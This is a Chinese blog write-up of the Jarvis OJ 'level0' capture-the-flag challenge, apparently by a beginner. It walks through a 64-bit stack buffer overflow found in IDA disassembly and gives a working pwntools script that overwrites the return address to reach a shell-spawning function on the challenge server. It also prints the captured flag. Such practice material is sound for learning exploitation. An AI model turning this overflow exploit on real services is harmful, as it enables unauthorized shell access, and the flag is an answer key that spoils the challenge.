Jarvis OJ level0 writeup

原创

PLpa、 于 2019-07-06 18:24:41 发布 231 收藏 1

文章标签： Jarvis OJ level0 栈溢出

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43986365/article/details/94879075

版权

Jarvis OJ level0 writeup(萌新一枚，不足之处还请大佬指点）

拿到这个题目，首先查看一下保护：

```
[*] '/root/pwn/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

可以看到NX打开，堆栈不可执行（在这题中也没什么用）

打开IDA查看一下：

```
                public main
main            proc near               ; DATA XREF: _start+1D↑o

var_10          = qword ptr -10h
var_4           = dword ptr -4

; __unwind {
                push    rbp
                mov     rbp, rsp
                sub     rsp, 10h
                mov     [rbp+var_4], edi
                mov     [rbp+var_10], rsi
                mov     edx, 0Dh        ; n
                mov     esi, offset aHelloWorld ; "Hello, World\n"
                mov     edi, 1          ; fd
                call    _write
                mov     eax, 0
                call    vulnerable_function
                leave
                retn
; } // starts at 4005C6
main            endp
```

https://blog.csdn.net/qq_43986365

点击右边的main会进入反汇编代码，通过反汇编可以看到main函数调用了一个vul()函数，我们双击函数跳转：

```
                public vulnerable_function
vulnerable_function proc near           ; CODE XREF: main+28↓p

buf             = byte ptr -80h

; __unwind {
                push    rbp
                mov     rbp, rsp
                add     rsp, 0FFFFFFFFFFFFFF80h
                lea     rax, [rbp+buf]
                mov     edx, 200h       ; nbytes
                mov     rsi, rax        ; buf
                mov     edi, 0          ; fd
                call    _read
                leave
                retn
; } // starts at 4005A6
vulnerable_function endp
```

https://blog.csdn.net/qq_43986365

由汇编代码可以看出buf缓存区离rbp(前栈帧)有0x80h的距离，也就是说距离返回地址有0x88h的距离。
（因为这是64位的程序所以rbp是8个字节，故加8达到rip）
找到溢出点后，我们找找什么能用的代码段，由于这题比较简单，题目直接给出了system("/bin/sh")，我们就直接用就可以了。

```
register_tm_clones              .text
__do_global_dtors_aux           .text
frame_dummy                     .text
callsystem                      .text
vulnerable_function             .text
main                            .text
__libc_csu_init                 .text
```

双击callsystem查看他的地址，下面是exp：

```
#! usr/bin/env python
from pwn import *
p=remote('pwn2.jarvisoj.com',9881)
payload='a'*0x88+p64(0x0400596)
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.interactive()
```

然后我们就获得flag了。

```
root@kali:~/pwn# python level0.py
[+] Opening connection to pwn2.jarvisoj.com on port 9881: Done
[*] Switching to interactive mode
$ ls
flag
level0_x64
$ cat flag
CTF{713ca3944e92180e0ef03171981dcd41}
```